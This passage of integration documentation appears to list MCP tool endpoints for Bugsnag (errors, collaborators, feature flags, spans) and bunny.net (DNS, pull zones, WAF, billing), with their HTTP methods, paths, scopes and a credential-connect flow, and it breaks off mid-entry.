bugsnag_get_organizations_by_organization_id_collaborators (read) — List all collaborators that are members of your organization via GET /organizations/{organization_id}/collaborators GET /api/v1/bugsnag/organizations/{organization_id}/collaborators. Scopes: api. bugsnag_get_organizations_by_organization_id_collaborators_by_collaborator_id_project_accesses (read) — List project accesses for a collaborator via GET /organizations/{organization_id}/collaborators/{collaborator_id}/project_accesses GET /api/v1/bugsnag/organizations/{organization_id}/collaborators/{collaborator_id}/project_accesses. Scopes: api. bugsnag_get_organizations_by_organization_id_collaborators_by_collaborator_id_project_accesses_by_project_id (read) — Show a Collaborator's Access Details for a Project via GET /organizations/{organization_id}/collaborators/{collaborator_id}/project_accesses/{project_id} GET /api/v1/bugsnag/organizations/{organization_id}/collaborators/{collaborator_id}/project_accesses/{project_id}. Scopes: api. bugsnag_get_organizations_by_organization_id_collaborators_by_collaborator_id_projects (read) — View Projects a Collaborator has access to via GET /organizations/{organization_id}/collaborators/{collaborator_id}/projects GET /api/v1/bugsnag/organizations/{organization_id}/collaborators/{collaborator_id}/projects. Scopes: api. bugsnag_get_organizations_by_organization_id_collaborators_by_id (read) — Show a Collaborator on an Organization (Collaborators API) via GET /organizations/{organization_id}/collaborators/{id} GET /api/v1/bugsnag/organizations/{organization_id}/collaborators/{id}. Scopes: api. bugsnag_get_organizations_by_organization_id_collaborators_by_id_suggested_teams (read) — List Suggested Teams for a Collaborator via GET /organizations/{organization_id}/collaborators/{id}/suggested_teams GET /api/v1/bugsnag/organizations/{organization_id}/collaborators/{id}/suggested_teams. Scopes: api. bugsnag_get_organizations_by_organization_id_collaborators_by_id_teams (read) — List Teams for a Collaborator via GET /organizations/{organization_id}/collaborators/{id}/teams GET /api/v1/bugsnag/organizations/{organization_id}/collaborators/{id}/teams. Scopes: api. bugsnag_get_organizations_by_organization_id_collaborators_project_access_counts (read) — View the project count of a collaborator via GET /organizations/{organization_id}/collaborators/project_access_counts GET /api/v1/bugsnag/organizations/{organization_id}/collaborators/project_access_counts. Scopes: api. bugsnag_get_organizations_by_organization_id_event_data_deletions_by_id (read) — Check the status of an event deletion request (organization-wide) via GET /organizations/{organization_id}/event_data_deletions/{id} GET /api/v1/bugsnag/organizations/{organization_id}/event_data_deletions/{id}. Scopes: api. bugsnag_get_organizations_by_organization_id_event_data_requests_by_id (read) — Check the status of an event data request (organization-wide) via GET /organizations/{organization_id}/event_data_requests/{id} GET /api/v1/bugsnag/organizations/{organization_id}/event_data_requests/{id}. Scopes: api. bugsnag_get_organizations_by_organization_id_integration_connections (read) — List the Integration Connections for an Organization via GET /organizations/{organization_id}/integration_connections GET /api/v1/bugsnag/organizations/{organization_id}/integration_connections. Scopes: api. bugsnag_get_organizations_by_organization_id_projects (read) — List an Organization's Projects via GET /organizations/{organization_id}/projects GET /api/v1/bugsnag/organizations/{organization_id}/projects. Scopes: api. bugsnag_get_organizations_by_organization_id_scim_v2_groups (read) — List Groups on an Organization via GET /organizations/{organization_id}/scim/v2/Groups GET /api/v1/bugsnag/organizations/{organization_id}/scim/v2/Groups. Scopes: api. bugsnag_get_organizations_by_organization_id_scim_v2_groups_by_id (read) — Show Group on an Organization via GET /organizations/{organization_id}/scim/v2/Groups/{id} GET /api/v1/bugsnag/organizations/{organization_id}/scim/v2/Groups/{id}. Scopes: api. bugsnag_get_organizations_by_organization_id_scim_v2_users (read) — List Collaborators on an Organization via GET /organizations/{organization_id}/scim/v2/Users GET /api/v1/bugsnag/organizations/{organization_id}/scim/v2/Users. Scopes: api. bugsnag_get_organizations_by_organization_id_scim_v2_users_by_id (read) — Show a Collaborator on an Organization (SCIM API) via GET /organizations/{organization_id}/scim/v2/Users/{id} GET /api/v1/bugsnag/organizations/{organization_id}/scim/v2/Users/{id}. Scopes: api. bugsnag_get_organizations_by_organization_id_teams (read) — List Teams from a query via GET /organizations/{organization_id}/teams GET /api/v1/bugsnag/organizations/{organization_id}/teams. Scopes: api. bugsnag_get_organizations_by_organization_id_teams_by_id (read) — Show the details of a team via GET /organizations/{organization_id}/teams/{id} GET /api/v1/bugsnag/organizations/{organization_id}/teams/{id}. Scopes: api. bugsnag_get_organizations_by_organization_id_teams_by_id_collaborators (read) — List the Collaborators in a Team via GET /organizations/{organization_id}/teams/{id}/collaborators GET /api/v1/bugsnag/organizations/{organization_id}/teams/{id}/collaborators. Scopes: api. bugsnag_get_organizations_by_organization_id_teams_by_id_project_accesses (read) — List Project Access for a Team via GET /organizations/{organization_id}/teams/{id}/project_accesses GET /api/v1/bugsnag/organizations/{organization_id}/teams/{id}/project_accesses. Scopes: api. bugsnag_get_organizations_by_organization_id_teams_by_id_suggested_collaborators (read) — List Suggested Collaborators to Add to a Team via GET /organizations/{organization_id}/teams/{id}/suggested_collaborators GET /api/v1/bugsnag/organizations/{organization_id}/teams/{id}/suggested_collaborators. Scopes: api. bugsnag_get_organizations_by_organization_id_teams_by_id_suggested_projects (read) — Suggest Projects to Add to a Team via GET /organizations/{organization_id}/teams/{id}/suggested_projects GET /api/v1/bugsnag/organizations/{organization_id}/teams/{id}/suggested_projects. Scopes: api. bugsnag_get_organizations_by_organization_id_traces_by_trace_id_spans (read) — List Spans for a Trace (organization-wide) via GET /organizations/{organization_id}/traces/{trace_id}/spans GET /api/v1/bugsnag/organizations/{organization_id}/traces/{trace_id}/spans. Scopes: api. bugsnag_get_projects_by_project_id (read) — View a Project via GET /projects/{project_id} GET /api/v1/bugsnag/projects/{project_id}. Scopes: api. bugsnag_get_projects_by_project_id_collaborators (read) — List Collaborators on a Project via GET /projects/{project_id}/collaborators GET /api/v1/bugsnag/projects/{project_id}/collaborators. Scopes: api. bugsnag_get_projects_by_project_id_collaborators_by_id (read) — Show a collaborator in a project. via GET /projects/{project_id}/collaborators/{id} GET /api/v1/bugsnag/projects/{project_id}/collaborators/{id}. Scopes: api. bugsnag_get_projects_by_project_id_configured_integration_summaries (read) — List Summaries of the Configured Integrations for a Project via GET /projects/{project_id}/configured_integration_summaries GET /api/v1/bugsnag/projects/{project_id}/configured_integration_summaries. Scopes: api. bugsnag_get_projects_by_project_id_errors (read) — List the Errors on a Project via GET /projects/{project_id}/errors GET /api/v1/bugsnag/projects/{project_id}/errors. Scopes: api. bugsnag_get_projects_by_project_id_errors_by_error_id (read) — View an Error via GET /projects/{project_id}/errors/{error_id} GET /api/v1/bugsnag/projects/{project_id}/errors/{error_id}. Scopes: api. bugsnag_get_projects_by_project_id_errors_by_error_id_comments (read) — List Comments on an Error via GET /projects/{project_id}/errors/{error_id}/comments GET /api/v1/bugsnag/projects/{project_id}/errors/{error_id}/comments. Scopes: api. bugsnag_get_projects_by_project_id_errors_by_error_id_events (read) — List the Events on an Error via GET /projects/{project_id}/errors/{error_id}/events GET /api/v1/bugsnag/projects/{project_id}/errors/{error_id}/events. Scopes: api. bugsnag_get_projects_by_project_id_errors_by_error_id_pivots (read) — List Pivots on an Error via GET /projects/{project_id}/errors/{error_id}/pivots GET /api/v1/bugsnag/projects/{project_id}/errors/{error_id}/pivots. Scopes: api. bugsnag_get_projects_by_project_id_errors_by_error_id_pivots_by_event_field_display_id_values (read) — List values of a Pivot on an Error via GET /projects/{project_id}/errors/{error_id}/pivots/{event_field_display_id}/values GET /api/v1/bugsnag/projects/{project_id}/errors/{error_id}/pivots/{event_field_display_id}/values. Scopes: api. bugsnag_get_projects_by_project_id_errors_by_error_id_trends (read) — List the Trends for an Error via GET /projects/{project_id}/errors/{error_id}/trends GET /api/v1/bugsnag/projects/{project_id}/errors/{error_id}/trends. Scopes: api. bugsnag_get_projects_by_project_id_event_data_deletions_by_id (read) — Check the status of an event deletion request (project-scoped) via GET /projects/{project_id}/event_data_deletions/{id} GET /api/v1/bugsnag/projects/{project_id}/event_data_deletions/{id}. Scopes: api. bugsnag_get_projects_by_project_id_event_data_requests_by_id (read) — Check the status of an event data request (project-scoped) via GET /projects/{project_id}/event_data_requests/{id} GET /api/v1/bugsnag/projects/{project_id}/event_data_requests/{id}. Scopes: api. bugsnag_get_projects_by_project_id_event_fields (read) — List the Event Fields for a Project via GET /projects/{project_id}/event_fields GET /api/v1/bugsnag/projects/{project_id}/event_fields. Scopes: api. bugsnag_get_projects_by_project_id_events (read) — List the Events on a Project via GET /projects/{project_id}/events GET /api/v1/bugsnag/projects/{project_id}/events. Scopes: api. bugsnag_get_projects_by_project_id_events_by_event_id (read) — View an Event via GET /projects/{project_id}/events/{event_id} GET /api/v1/bugsnag/projects/{project_id}/events/{event_id}. Scopes: api. bugsnag_get_projects_by_project_id_feature_flag_summaries (read) — List Feature Flag Summaries for a Project via GET /projects/{project_id}/feature_flag_summaries GET /api/v1/bugsnag/projects/{project_id}/feature_flag_summaries. Scopes: api. bugsnag_get_projects_by_project_id_feature_flags (read) — List Feature Flags on a Project via GET /projects/{project_id}/feature_flags GET /api/v1/bugsnag/projects/{project_id}/feature_flags. Scopes: api. bugsnag_get_projects_by_project_id_feature_flags_by_id (read) — Get a Feature Flag via GET /projects/{project_id}/feature_flags/{id} GET /api/v1/bugsnag/projects/{project_id}/feature_flags/{id}. Scopes: api. bugsnag_get_projects_by_project_id_feature_flags_by_id_error_overview (read) — Get a Feature Flag's Error Overview via GET /projects/{project_id}/feature_flags/{id}/error_overview GET /api/v1/bugsnag/projects/{project_id}/feature_flags/{id}/error_overview. Scopes: api. bugsnag_get_projects_by_project_id_feature_flags_by_id_variants (read) — List Variants on a Feature Flag by ID via GET /projects/{project_id}/feature_flags/{id}/variants GET /api/v1/bugsnag/projects/{project_id}/feature_flags/{id}/variants. Scopes: api. bugsnag_get_projects_by_project_id_feature_flags_by_id_variants_error_overview (read) — Get a Feature Flag Variant's Error Overview via GET /projects/{project_id}/feature_flags/{id}/variants/error_overview GET /api/v1/bugsnag/projects/{project_id}/feature_flags/{id}/variants/error_overview. Scopes: api. bugsnag_get_projects_by_project_id_feature_flags_by_name_by_name_variants (read) — List Variants on a Feature Flag by name via GET /projects/{project_id}/feature_flags/by_name/{name}/variants GET /api/v1/bugsnag/projects/{project_id}/feature_flags/by_name/{name}/variants. Scopes: api. bugsnag_get_projects_by_project_id_network_endpoint_grouping (read) — List a Project's Network Grouping Ruleset via GET /projects/{project_id}/network_endpoint_grouping GET /api/v1/bugsnag/projects/{project_id}/network_endpoint_grouping. Scopes: api. bugsnag_get_projects_by_project_id_page_load_span_groups (read) — List Page Load Span Groups via GET /projects/{project_id}/page_load_span_groups GET /api/v1/bugsnag/projects/{project_id}/page_load_span_groups. Scopes: api. bugsnag_get_projects_by_project_id_page_load_span_groups_by_id (read) — Show a Page Load Span Group by ID via GET /projects/{project_id}/page_load_span_groups/{id} GET /api/v1/bugsnag/projects/{project_id}/page_load_span_groups/{id}. Scopes: api. bugsnag_get_projects_by_project_id_performance_overview (read) — Get Performance Score Overview for Project via GET /projects/{project_id}/performance_overview GET /api/v1/bugsnag/projects/{project_id}/performance_overview. Scopes: api. bugsnag_get_projects_by_project_id_pivots (read) — List Pivots on a Project via GET /projects/{project_id}/pivots GET /api/v1/bugsnag/projects/{project_id}/pivots. Scopes: api. bugsnag_get_projects_by_project_id_pivots_by_event_field_display_id_values (read) — List values of a Pivot on a Project via GET /projects/{project_id}/pivots/{event_field_display_id}/values GET /api/v1/bugsnag/projects/{project_id}/pivots/{event_field_display_id}/values. Scopes: api. bugsnag_get_projects_by_project_id_release_groups (read) — List Release Groups on a Project via GET /projects/{project_id}/release_groups GET /api/v1/bugsnag/projects/{project_id}/release_groups. Scopes: api. bugsnag_get_projects_by_project_id_releases (read) — List Releases on a Project via GET /projects/{project_id}/releases GET /api/v1/bugsnag/projects/{project_id}/releases. Scopes: api. bugsnag_get_projects_by_project_id_releases_by_release_id (read) — View a Release via GET /projects/{project_id}/releases/{release_id} GET /api/v1/bugsnag/projects/{project_id}/releases/{release_id}. Scopes: api. bugsnag_get_projects_by_project_id_saved_searches (read) — List Saved Searches on a Project via GET /projects/{project_id}/saved_searches GET /api/v1/bugsnag/projects/{project_id}/saved_searches. Scopes: api. bugsnag_get_projects_by_project_id_span_group_categories_by_category_span_groups_by_name_spans (read) — Get Spans for a Span Group via GET /projects/{project_id}/span_group_categories/{category}/span_groups/{name}/spans GET /api/v1/bugsnag/projects/{project_id}/span_group_categories/{category}/span_groups/{name}/spans. Scopes: api. bugsnag_get_projects_by_project_id_span_group_summaries (read) — List Span Group Summaries for a Project via GET /projects/{project_id}/span_group_summaries GET /api/v1/bugsnag/projects/{project_id}/span_group_summaries. Scopes: api. bugsnag_get_projects_by_project_id_span_groups (read) — List Span Groups on a Project via GET /projects/{project_id}/span_groups GET /api/v1/bugsnag/projects/{project_id}/span_groups. Scopes: api. bugsnag_get_projects_by_project_id_span_groups_by_id (read) — Show a Span Group via GET /projects/{project_id}/span_groups/{id} GET /api/v1/bugsnag/projects/{project_id}/span_groups/{id}. Scopes: api. bugsnag_get_projects_by_project_id_span_groups_by_id_distribution (read) — Get a Span Group's distribution via GET /projects/{project_id}/span_groups/{id}/distribution GET /api/v1/bugsnag/projects/{project_id}/span_groups/{id}/distribution. Scopes: api. bugsnag_get_projects_by_project_id_span_groups_by_id_performance_targets (read) — List Performance Targets for a Span Group by ID via GET /projects/{project_id}/span_groups/{id}/performance_targets GET /api/v1/bugsnag/projects/{project_id}/span_groups/{id}/performance_targets. Scopes: api. bugsnag_get_projects_by_project_id_span_groups_by_id_spans (read) — List Spans for a Span Group by ID via GET /projects/{project_id}/span_groups/{id}/spans GET /api/v1/bugsnag/projects/{project_id}/span_groups/{id}/spans. Scopes: api. bugsnag_get_projects_by_project_id_span_groups_by_id_timeline (read) — Get a Span Group's timeline via GET /projects/{project_id}/span_groups/{id}/timeline GET /api/v1/bugsnag/projects/{project_id}/span_groups/{id}/timeline. Scopes: api. bugsnag_get_projects_by_project_id_stability_trend (read) — View the stability trend for a project via GET /projects/{project_id}/stability_trend GET /api/v1/bugsnag/projects/{project_id}/stability_trend. Scopes: api. bugsnag_get_projects_by_project_id_starred_span_groups (read) — List the starred Span Group descriptions via GET /projects/{project_id}/starred_span_groups GET /api/v1/bugsnag/projects/{project_id}/starred_span_groups. Scopes: api. bugsnag_get_projects_by_project_id_trace_fields (read) — List the Trace Fields on a project via GET /projects/{project_id}/trace_fields GET /api/v1/bugsnag/projects/{project_id}/trace_fields. Scopes: api. bugsnag_get_projects_by_project_id_traces_by_trace_id_spans (read) — List Spans for a Trace (project-scoped) via GET /projects/{project_id}/traces/{trace_id}/spans GET /api/v1/bugsnag/projects/{project_id}/traces/{trace_id}/spans. Scopes: api. bugsnag_get_projects_by_project_id_trends (read) — List the Trends for a Project via GET /projects/{project_id}/trends GET /api/v1/bugsnag/projects/{project_id}/trends. Scopes: api. bugsnag_get_release_groups_by_id (read) — Retrieve a Release Group via GET /release_groups/{id} GET /api/v1/bugsnag/release_groups/{id}. Scopes: api. bugsnag_get_release_groups_by_release_group_id_releases (read) — List Releases on a Release Group via GET /release_groups/{release_group_id}/releases GET /api/v1/bugsnag/release_groups/{release_group_id}/releases. Scopes: api. bugsnag_get_saved_searches_by_id (read) — Get a Saved Search via GET /saved_searches/{id} GET /api/v1/bugsnag/saved_searches/{id}. Scopes: api. bugsnag_get_saved_searches_by_id_usage_summary (read) — Get the Usage Summary for a Saved Search via GET /saved_searches/{id}/usage_summary GET /api/v1/bugsnag/saved_searches/{id}/usage_summary. Scopes: api. bugsnag_get_user_organizations (read) — List the Current User's Organizations via GET /user/organizations GET /api/v1/bugsnag/user/organizations. Scopes: api. bugsnag_patch_comments_by_comment_id (write) — Update a Comment via PATCH /comments/{comment_id} PATCH /api/v1/bugsnag/comments/{comment_id}. Scopes: api. bugsnag_patch_configured_integrations_by_id (write) — Update a Configured Integration via PATCH /configured_integrations/{id} PATCH /api/v1/bugsnag/configured_integrations/{id}. Scopes: api. bugsnag_patch_configured_integrations_by_id_trigger_configs_by_trigger_config_key (write) — Update a Configured Integration's Trigger Config via PATCH /configured_integrations/{id}/trigger_configs/{trigger_config_key} PATCH /api/v1/bugsnag/configured_integrations/{id}/trigger_configs/{trigger_config_key}. Scopes: api. bugsnag_patch_organizations_by_id (write) — Update an Organization via PATCH /organizations/{id} PATCH /api/v1/bugsnag/organizations/{id}. Scopes: api. bugsnag_patch_organizations_by_organization_id_collaborators_by_id (write) — Update a Collaborator's permissions via PATCH /organizations/{organization_id}/collaborators/{id} PATCH /api/v1/bugsnag/organizations/{organization_id}/collaborators/{id}. Scopes: api. bugsnag_patch_organizations_by_organization_id_scim_v2_groups_by_id (write) — Update Group on an Organization via PATCH /organizations/{organization_id}/scim/v2/Groups/{id} PATCH /api/v1/bugsnag/organizations/{organization_id}/scim/v2/Groups/{id}. Scopes: api. bugsnag_patch_organizations_by_organization_id_scim_v2_users_by_id (write) — Add or Remove Previously Added Collaborators via PATCH /organizations/{organization_id}/scim/v2/Users/{id} PATCH /api/v1/bugsnag/organizations/{organization_id}/scim/v2/Users/{id}. Scopes: api. bugsnag_patch_organizations_by_organization_id_teams_by_id (write) — Update a team name via PATCH /organizations/{organization_id}/teams/{id} PATCH /api/v1/bugsnag/organizations/{organization_id}/teams/{id}. Scopes: api. bugsnag_patch_organizations_by_organization_id_teams_by_id_project_accesses (write) — Add Project Access to a Team via PATCH /organizations/{organization_id}/teams/{id}/project_accesses PATCH /api/v1/bugsnag/organizations/{organization_id}/teams/{id}/project_accesses. Scopes: api. bugsnag_patch_projects_by_project_id (write) — Update a Project via PATCH /projects/{project_id} PATCH /api/v1/bugsnag/projects/{project_id}. Scopes: api. bugsnag_patch_projects_by_project_id_errors (write) — Bulk Update Errors via PATCH /projects/{project_id}/errors PATCH /api/v1/bugsnag/projects/{project_id}/errors. Scopes: api. bugsnag_patch_projects_by_project_id_errors_by_error_id (write) — Update an Error via PATCH /projects/{project_id}/errors/{error_id} PATCH /api/v1/bugsnag/projects/{project_id}/errors/{error_id}. Scopes: api. bugsnag_patch_projects_by_project_id_event_fields_by_display_id (write) — Update a custom Event Field via PATCH /projects/{project_id}/event_fields/{display_id} PATCH /api/v1/bugsnag/projects/{project_id}/event_fields/{display_id}. Scopes: api. bugsnag_patch_projects_by_project_id_span_groups_by_id (write) — Update Span Group via PATCH /projects/{project_id}/span_groups/{id} PATCH /api/v1/bugsnag/projects/{project_id}/span_groups/{id}. Scopes: api. bugsnag_patch_release_groups_by_id (write) — Update a Release Group via PATCH /release_groups/{id} PATCH /api/v1/bugsnag/release_groups/{id}. Scopes: api. bugsnag_patch_saved_searches_by_id (write) — Update a Saved Search via PATCH /saved_searches/{id} PATCH /api/v1/bugsnag/saved_searches/{id}. Scopes: api. bugsnag_post_configured_integrations_by_id_test (write) — Test a Configured Integration via POST /configured_integrations/{id}/test POST /api/v1/bugsnag/configured_integrations/{id}/test. Scopes: api. bugsnag_post_integrations_test (write) — Test an Integration via POST /integrations/test POST /api/v1/bugsnag/integrations/test. Scopes: api. bugsnag_post_organizations (write) — Create an Organization via POST /organizations POST /api/v1/bugsnag/organizations. Scopes: api. bugsnag_post_organizations_by_organization_id_collaborators (write) — Invite a collaborator to your organization via POST /organizations/{organization_id}/collaborators POST /api/v1/bugsnag/organizations/{organization_id}/collaborators. Scopes: api. bugsnag_post_organizations_by_organization_id_collaborators_bulk_invite (write) — Bulk invite collaborators to your organization via POST /organizations/{organization_id}/collaborators/bulk_invite POST /api/v1/bugsnag/organizations/{organization_id}/collaborators/bulk_invite. Scopes: api. bugsnag_post_organizations_by_organization_id_collaborators_by_id_team_memberships (write) — Add a collaborator to a group of Teams via POST /organizations/{organization_id}/collaborators/{id}/team_memberships POST /api/v1/bugsnag/organizations/{organization_id}/collaborators/{id}/team_memberships. Scopes: api. bugsnag_post_organizations_by_organization_id_event_data_deletions (write) — Create an event deletion request (organization-wide) via POST /organizations/{organization_id}/event_data_deletions POST /api/v1/bugsnag/organizations/{organization_id}/event_data_deletions. Scopes: api. bugsnag_post_organizations_by_organization_id_event_data_deletions_by_id_confirm (write) — Confirm an event deletion request (organization-wide) via POST /organizations/{organization_id}/event_data_deletions/{id}/confirm POST /api/v1/bugsnag/organizations/{organization_id}/event_data_deletions/{id}/confirm. Scopes: api. bugsnag_post_organizations_by_organization_id_event_data_requests (write) — Create an event data request (organization-wide) via POST /organizations/{organization_id}/event_data_requests POST /api/v1/bugsnag/organizations/{organization_id}/event_data_requests. Scopes: api. bugsnag_post_organizations_by_organization_id_projects (write) — Create a Project in an Organization via POST /organizations/{organization_id}/projects POST /api/v1/bugsnag/organizations/{organization_id}/projects. Scopes: api. bugsnag_post_organizations_by_organization_id_scim_v2_groups (write) — Create Group on an Organization via POST /organizations/{organization_id}/scim/v2/Groups POST /api/v1/bugsnag/organizations/{organization_id}/scim/v2/Groups. Scopes: api. bugsnag_post_organizations_by_organization_id_scim_v2_users (write) — Create a Collaborator via POST /organizations/{organization_id}/scim/v2/Users POST /api/v1/bugsnag/organizations/{organization_id}/scim/v2/Users. Scopes: api. bugsnag_post_organizations_by_organization_id_teams (write) — Create a Team via POST /organizations/{organization_id}/teams POST /api/v1/bugsnag/organizations/{organization_id}/teams. Scopes: api. bugsnag_post_organizations_by_organization_id_teams_by_id_team_memberships (write) — Add Collaborators to a Team via POST /organizations/{organization_id}/teams/{id}/team_memberships POST /api/v1/bugsnag/organizations/{organization_id}/teams/{id}/team_memberships. Scopes: api. bugsnag_post_projects_by_project_id_configured_integrations (write) — Configure an Integration via POST /projects/{project_id}/configured_integrations POST /api/v1/bugsnag/projects/{project_id}/configured_integrations. Scopes: api. bugsnag_post_projects_by_project_id_errors_by_error_id_comments (write) — Create a Comment on an Error via POST /projects/{project_id}/errors/{error_id}/comments POST /api/v1/bugsnag/projects/{project_id}/errors/{error_id}/comments. Scopes: api. bugsnag_post_projects_by_project_id_event_data_deletions (write) — Create an event deletion request (project-scoped) via POST /projects/{project_id}/event_data_deletions POST /api/v1/bugsnag/projects/{project_id}/event_data_deletions. Scopes: api. bugsnag_post_projects_by_project_id_event_data_deletions_by_id_confirm (write) — Confirm an event deletion request (project-scoped) via POST /projects/{project_id}/event_data_deletions/{id}/confirm POST /api/v1/bugsnag/projects/{project_id}/event_data_deletions/{id}/confirm. Scopes: api. bugsnag_post_projects_by_project_id_event_data_requests (write) — Create an event data request (project-scoped) via POST /projects/{project_id}/event_data_requests POST /api/v1/bugsnag/projects/{project_id}/event_data_requests. Scopes: api. bugsnag_post_projects_by_project_id_event_fields (write) — Create a custom Event Field via POST /projects/{project_id}/event_fields POST /api/v1/bugsnag/projects/{project_id}/event_fields. Scopes: api. bugsnag_post_saved_searches (write) — Create a Saved Search via POST /saved_searches POST /api/v1/bugsnag/saved_searches. Scopes: api. bugsnag_post_user_projects_by_project_id_starred_feature_flags (write) — Star a Feature Flag via POST /user/projects/{project_id}/starred_feature_flags POST /api/v1/bugsnag/user/projects/{project_id}/starred_feature_flags. Scopes: api. bugsnag_put_organizations_by_organization_id_scim_v2_users_by_id (write) — Update a Collaborator via PUT /organizations/{organization_id}/scim/v2/Users/{id} PUT /api/v1/bugsnag/organizations/{organization_id}/scim/v2/Users/{id}. Scopes: api. bugsnag_put_projects_by_project_id_error_assignment_rules (write) — Replace the ErrorAssignmentRules on a project via PUT /projects/{project_id}/error_assignment_rules PUT /api/v1/bugsnag/projects/{project_id}/error_assignment_rules. Scopes: api. bugsnag_put_projects_by_project_id_network_endpoint_grouping (write) — Update a Project's Network Grouping Ruleset via PUT /projects/{project_id}/network_endpoint_grouping PUT /api/v1/bugsnag/projects/{project_id}/network_endpoint_grouping. Scopes: api. ================================================================================ ## bunny.net URL: https://www.agenticfabriq.com/integrations/bunnycdn Section: Integrated Tools bunny.net — 185 MCP tools Provider key: bunnycdn. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. bunnycdn_delete_compute_script_by_id (write, destructive) — Delete Edge Script via DELETE /compute/script/{id} DELETE /api/v1/bunnycdn/compute/script/{id}. Scopes: api. bunnycdn_delete_compute_script_by_id_secrets_by_secretid (write, destructive) — Delete Secret via DELETE /compute/script/{id}/secrets/{secretId} DELETE /api/v1/bunnycdn/compute/script/{id}/secrets/{secretId}. Scopes: api. bunnycdn_delete_compute_script_by_id_variables_by_variableid (write, destructive) — Delete Variable via DELETE /compute/script/{id}/variables/{variableId} DELETE /api/v1/bunnycdn/compute/script/{id}/variables/{variableId}. Scopes: api. bunnycdn_delete_dnszone_by_id (write, destructive) — Delete DNS Zone via DELETE /dnszone/{id} DELETE /api/v1/bunnycdn/dnszone/{id}. Scopes: api. bunnycdn_delete_dnszone_by_id_dnssec (write, destructive) — Disable DNSSEC on a DNS Zone via DELETE /dnszone/{id}/dnssec DELETE /api/v1/bunnycdn/dnszone/{id}/dnssec. Scopes: api. bunnycdn_delete_dnszone_by_zoneid_records_by_id (write, destructive) — Delete DNS Record via DELETE /dnszone/{zoneId}/records/{id} DELETE /api/v1/bunnycdn/dnszone/{zoneId}/records/{id}. Scopes: api. bunnycdn_delete_pullzone_by_id (write, destructive) — Delete Pull Zone via DELETE /pullzone/{id} DELETE /api/v1/bunnycdn/pullzone/{id}. Scopes: api. bunnycdn_delete_pullzone_by_id_removecertificate (write, destructive) — Remove Certificate via DELETE /pullzone/{id}/removeCertificate DELETE /api/v1/bunnycdn/pullzone/{id}/removeCertificate. Scopes: api. bunnycdn_delete_pullzone_by_id_removehostname (write, destructive) — Remove Custom Hostname via DELETE /pullzone/{id}/removeHostname DELETE /api/v1/bunnycdn/pullzone/{id}/removeHostname. Scopes: api. bunnycdn_delete_pullzone_by_pullzoneid_edgerules_by_edgeruleid (write, destructive) — Delete Edge Rule via DELETE /pullzone/{pullZoneId}/edgerules/{edgeRuleId} DELETE /api/v1/bunnycdn/pullzone/{pullZoneId}/edgerules/{edgeRuleId}. Scopes: api. bunnycdn_delete_shield_rate_limit_by_id (write, destructive) — Delete a Rate Limit on your Shield Zone via DELETE /shield/rate-limit/{id} DELETE /api/v1/bunnycdn/shield/rate-limit/{id}. Scopes: api. bunnycdn_delete_shield_shield_zone_by_shieldzoneid_access_lists_by_id (write, destructive) — Delete the specified Custom Access List associated with a Shield Zone via DELETE /shield/shield-zone/{shieldZoneId}/access-lists/{id} DELETE /api/v1/bunnycdn/shield/shield-zone/{shieldZoneId}/access-lists/{id}. Scopes: api. bunnycdn_delete_shield_shield_zone_by_shieldzoneid_custom_page_by_pagetype (write, destructive) — Delete a custom HTML response page for a Shield Zone via DELETE /shield/shield-zone/{shieldZoneId}/custom-page/{pageType} DELETE /api/v1/bunnycdn/shield/shield-zone/{shieldZoneId}/custom-page/{pageType}. Scopes: api. bunnycdn_delete_shield_waf_custom_rule_by_id (write, destructive) — Delete a custom WAF rule via DELETE /shield/waf/custom-rule/{id} DELETE /api/v1/bunnycdn/shield/waf/custom-rule/{id}. Scopes: api. bunnycdn_delete_storagezone_by_id (write, destructive) — Delete Storage Zone via DELETE /storagezone/{id} DELETE /api/v1/bunnycdn/storagezone/{id}. Scopes: api. bunnycdn_delete_videolibrary_by_id (write, destructive) — Delete Video Library via DELETE /videolibrary/{id} DELETE /api/v1/bunnycdn/videolibrary/{id}. Scopes: api. bunnycdn_delete_videolibrary_by_id_live_thumbnail (write, destructive) — Delete Live Thumbnail via DELETE /videolibrary/{id}/live/thumbnail DELETE /api/v1/bunnycdn/videolibrary/{id}/live/thumbnail. Scopes: api. bunnycdn_delete_videolibrary_by_id_live_watermark (write, destructive) — Delete Live Watermark via DELETE /videolibrary/{id}/live/watermark DELETE /api/v1/bunnycdn/videolibrary/{id}/live/watermark. Scopes: api. bunnycdn_delete_videolibrary_by_id_watermark (write, destructive) — Delete Watermark via DELETE /videolibrary/{id}/watermark DELETE /api/v1/bunnycdn/videolibrary/{id}/watermark. Scopes: api. bunnycdn_get_apikey (read) — List API Keys via GET /apikey GET /api/v1/bunnycdn/apikey. Scopes: api. bunnycdn_get_billing (read) — Get Billing Details -- Get the billing status details via GET /billing GET /api/v1/bunnycdn/billing. Scopes: api. bunnycdn_get_billing_affiliate (read) — Get affiliate details via GET /billing/affiliate GET /api/v1/bunnycdn/billing/affiliate. Scopes: api. bunnycdn_get_billing_payment_request_invoice_by_id_pdf (read) — Download Payment Request Invoice PDF via GET /billing/payment-request-invoice/{id}/pdf GET /api/v1/bunnycdn/billing/payment-request-invoice/{id}/pdf. Scopes: api. bunnycdn_get_billing_payment_requests (read) — Get Pending Payment Requests via GET /billing/payment-requests GET /api/v1/bunnycdn/billing/payment-requests. Scopes: api. bunnycdn_get_billing_summary (read) — Get Billing Summary via GET /billing/summary GET /api/v1/bunnycdn/billing/summary. Scopes: api. bunnycdn_get_billing_summary_by_billingrecordid_pdf (read) — Get Billing Summary Document via GET /billing/summary/{billingRecordId}/pdf GET /api/v1/bunnycdn/billing/summary/{billingRecordId}/pdf. Scopes: api. bunnycdn_get_by_date_by_pullzoneid_log (read) — Query logs (legacy) via GET /{date}/{pullZoneId}.log Served from https://logging.bunnycdn.com, not https://api.bunny.net. GET /api/v1/bunnycdn/{date}/{pullZoneId}.log. Scopes: api. bunnycdn_get_compute_script (read) — List Edge Scripts via GET /compute/script GET /api/v1/bunnycdn/compute/script. Scopes: api. bunnycdn_get_compute_script_by_id (read) — Get Edge Script via GET /compute/script/{id} GET /api/v1/bunnycdn/compute/script/{id}. Scopes: api. bunnycdn_get_compute_script_by_id_code (read) — Get Code via GET /compute/script/{id}/code GET 